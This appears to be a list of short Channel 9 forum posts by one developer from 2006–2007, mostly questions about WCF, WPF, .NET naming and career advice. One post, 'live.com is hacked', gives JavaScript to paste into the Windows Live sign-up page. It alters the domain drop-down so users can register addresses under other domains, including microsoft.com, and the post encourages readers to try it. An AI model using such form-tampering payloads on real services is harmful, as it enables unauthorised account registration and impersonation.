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Microsoft & ISVs [Microsoft & ISVs]

Zhou Yong — Mon, 15 Oct 2007 04:32:51 GMT

I've offered an vendor position at Microsoft China, but I still ain't got a clear idea of what "vendor" actually means, what kinda business model Microsoft has with its vendors and partners? and how do they related to each other in terms of portfolio and profitability?

Sheva

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Looking For WCF Mentors [Looking For WCF Mentors]

Zhou Yong — Fri, 18 May 2007 12:09:51 GMT

   I can still remember one year ago, I posted the Yggdrasil among many others, I know you guys know the thing:P

    Just drop your email or MSN here! or you can send email to me at footballism at hotmail.com

    Cheers!!!!!!

Sheva

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Is WCF Over-architectured? [Is WCF Over-architectured?]

Zhou Yong — Wed, 09 May 2007 02:40:30 GMT

   Recently, I am tied up learning the nuts and bolts of WCF, and when coming cross the channel model in WCF, I am a bit getting stunned by the complexity and over-architecturing of it, the following diagram shows what I am talking about:

For the original picture, you can refer to:
http://msdn2.microsoft.com/en-us/library/ms729840.aspx
     So is WCF overarchitectured? from a pure developer's perspective, I just cannot get into the architecutural decision those guys make.
   Comment?

Sheva

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WCF ConcurrencyMode.Reentrant Confusion [WCF ConcurrencyMode.Reentrant Confusion]

Zhou Yong — Fri, 27 Apr 2007 02:29:56 GMT

The MSDN docs says that ConcurrencyMode.Reentrant enabls the situation that when the current service operation calls out, it will silently release the lock on this service object, so other thread can require the lock, and do any interesting things on this service object. But the code sample just shows us that the callout is actually a call to another service. so does any normal callout will release the lock such as calling into another normal .net methods rather than calling into another service operation?

Sheva

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How do you guys pronounce "NHibernate"? [How do you guys pronounce "NHibernate"?]

Zhou Yong — Mon, 16 Apr 2007 00:42:19 GMT

I pronounce this word as [ naibEneit], how about your guys?

Sheva

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Bound For Shanghai [Bound For Shanghai]

Zhou Yong — Wed, 04 Apr 2007 04:50:25 GMT

I am about to go to Shanghai, my flight will take off at 8:20 AM on April 5th, this journey will open up a new chapter in my life, I still don't have a clear idea of what it really means by being a professional software developer, but I blieve it won't not to bad:D
Wish me good luck guys:P, and wish you guys good luck too!

Sheva

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What's wrong with this code? [What's wrong with this code?]

Zhou Yong — Tue, 27 Mar 2007 13:42:36 GMT

I just encounter a piece of tricky code, and apparently, it doesn't work, but the reason why it's not working is a bit tricky indeed:

using System;

public class Client : MarshalByRefObject
{
    public delegate void MessageCallBack();
    static void Main()
    {
        AppDomain ad = AppDomain.CreateDomain("ServerDomain");
        Client client = (Client)ad.CreateInstanceAndUnwrap(typeof(Client).Assembly.FullName, "Client");
        String msg = "Login";
        MessageCallBack callback = new MessageCallBack(delegate { Console.WriteLine(msg);});
        client.SendMessage(callback);
    }

    public void SendMessage(MessageCallBack callback)
    {
        callback();
    }
}

Hopefully this piece of puzzle can make your day:D

Sheva

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Channel Survey: Have you ever used CAS in your managed Applications? [Channel Survey: Have you ever used CAS in your managed Applications?]

Zhou Yong — Mon, 26 Mar 2007 12:31:55 GMT

CAS is great complement to traditional role based security model which was first introduced in Windows NT, but because of its lack of easy usage pattern, very few managed developers actually use CAS indeed, and even class libarary developers ain't use it either, so I just wanna know how many C9 managed developers ever use this feature?

Sheva

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Advice To A Programmer [Advice To A Programmer]

Zhou Yong — Fri, 23 Mar 2007 18:45:01 GMT

    After three years working experience as a mechanical engineer, I finally decide to make a change, and move to software industry, a small company in Shanghai region eventually decides to hire me as a software developer. I am just so exicted to become a professional developer. But softwares is still quite new to me, and I still have no idea of what the future holds for me.
   So I really need some advice from you guys on how to become a qualified developers. and how to learn the trade in this industry?
   Any constuctive and helpful advice will be appreciated tremendously.

Sheva

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Longest Method Name In .NET Framework [Longest Method Name In .NET Framework]

Zhou Yong — Thu, 07 Dec 2006 16:47:43 GMT

There is a method called GetTextEffectCharacterIndexFromTextSourceCharacterIndex under System.Windows.Media.TextFormatting.TextSource which counts 55 in character length, I guess this is the lengthiest method name in .NET Framework, Sounds like that the Framework Design Guidelines actually encourage this kind of naming practice:)

Sheva

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When cross platform means feature reduction! [When cross platform means feature reduction!]

Zhou Yong — Tue, 05 Dec 2006 16:37:07 GMT

When the WPF/E thingy comes out, everyone is just so excited about it, but WPF/E is still quite limited IMHO, it just implments a quite "subset" of WPF, and data binding, styling, templating , text, and rich control libraries are missed out, all it can do is to support some kinda of animation, and 2D graphics.

Needs discussion now!

Sheva

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live.com is hacked [live.com is hacked]

Zhou Yong — Fri, 10 Nov 2006 19:16:58 GMT

When you go to this page:
http://get.live.com/getlive/overview
Then press the "Sign Up" button, then waiting for the sign up page to show, when the page is shown, paste the following javascript into your browser's address box and execute it:

javascript: var p = 'live.';
var ds = new Array('com', 'cn', 'fr', 'it', 'nl');
for (var i = 0; i < ds.length; i ++)
{document.getElementById('idomain').options[i] = new Option(p + ds[i], p + ds[i])}
alert('domains added');

Then you can register account like someone@live.com etc
and another most stunning point here is that you can change the javascript a bit aka assign "microsoft" to the p var, you can register account like someone@microsoft.com.

So guys, c'mon, register your own live account now:P

Sheva

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Are Developers All Working In IT Industry? [Are Developers All Working In IT Industry?]

Zhou Yong — Sun, 05 Nov 2006 12:42:39 GMT

I just wanna ask this question, because from a non-professional developer's point of view, the awesome industrial and engineering softwares such as Pro-Engineer, Unigraphics, Catia or even AutoCAD are not merely developed by those programmers who only know how to write code, uh?:O

Sheva

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I See Silly Interview Question Today [I See Silly Interview Question Today]

Zhou Yong — Fri, 03 Nov 2006 12:31:27 GMT

Hi guys, if you attend an interview, and the interviewer asks What's the procedure involved when doing a read/write operation on DB?

How do you answer this "question"?

Sheva

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TransitionControl [TransitionControl]

Zhou Yong — Sun, 29 Oct 2006 04:41:34 GMT

TransitionControl is a custom WPF control which applies transition effect when the content of the control is changed, currently this control comes with six built-in transition effects, if those effects doesn't fit into your personal need, feel free to extend it by redefining the control's ControlTemplate.

Please enjoys.

Sheva

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SplitButton [SplitButton]

Zhou Yong — Fri, 27 Oct 2006 12:35:36 GMT

A WPF custom control which mimics the functionality of ToolStripSplitButton in Windows Forms, please enjoy!

Sheva

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Teach Me: The difference Between COM, ActiveX & OLE [Teach Me: The difference Between COM, ActiveX & OLE]

Zhou Yong — Wed, 18 Oct 2006 11:41:01 GMT

what's the difference between the three buzzwords?[A]

Sheva

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C9 Techoff Recommendation [C9 Techoff Recommendation]

Zhou Yong — Sat, 14 Oct 2006 15:12:29 GMT

I think C9 Techoff forum should contain a mechanism in which when a poster asks a question, and some one else responds to it with a helpful or correct answers, then the original poster can mark the post which contains the right anwer as a "helpful post", this mechanism is exactly the same as what MSDN forum currently uses, and I believe we can further improve the MSDN forum's code base to include more cool features.
C'mon, HC or Adam, technically speaking, it's not so hard to implement it:P

Sheva

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C9 Navigation Bar Bug [C9 Navigation Bar Bug]

Zhou Yong — Mon, 09 Oct 2006 16:11:08 GMT

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RSS Aggregator Recommendation [RSS Aggregator Recommendation]

Zhou Yong — Wed, 04 Oct 2006 15:43:50 GMT

What kinda RSS Aggregator do you currently use? I want to find a RSS aggragator which can read articles from both blogs and news groups, currently I am evaluating RSSBandit.

Sheva

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We Should Unban Beer [We Should Unban Beer]

Zhou Yong — Tue, 03 Oct 2006 12:24:44 GMT

if we can unban Eagle, then why not Beer?:O

Sheva

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When Understanding means Rewriting [When Understanding means Rewriting]

Zhou Yong — Sun, 24 Sep 2006 14:27:55 GMT

When Understanding means Rewriting

If you ask a software developer what they spend their time doing, they'll tell you that they spend most of their time writing code.

However, if you actually observe what software developers spend their time doing, you'll find that they spend most of their time trying to understand code:

ARIGINAL ARTICLE COMES HERE

SHEVA

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Why Are So many ASP.NET Developers? [Why Are So many ASP.NET Developers?]

Zhou Yong — Sat, 23 Sep 2006 16:32:30 GMT

I know this question probably might be an invitation to flame war, but I just wanna get some people discussing this topic.

Sheva

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Suggestion Needed: Naming Convention [Suggestion Needed: Naming Convention]

Zhou Yong — Mon, 11 Sep 2006 15:40:54 GMT

    Well, as a C# programmer, I know pretty well of how to name the variables, classes, methods, properties etc in terms of programming paradigm? then when it comes to British English and American English, which human languages should I use when naming those types and members?
    For example, if I have a class called AnimationBehaviour, should I name it in British way(aka AnimationBehaviour) or American way(aka AnimationBehavior)?
    Personally, I prefer British English, but there are so many people out there who use American English, so which approach should I use?

Sheva

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WPF: Another darned revolution [WPF: Another darned revolution]

Zhou Yong — Fri, 08 Sep 2006 19:00:22 GMT

Good Article made by Mike Gunderloy

Although he comes up with a lot of convincing reasons for not to learn WPF at the moment, but I am still jumping on the bandwagon.
Sheva

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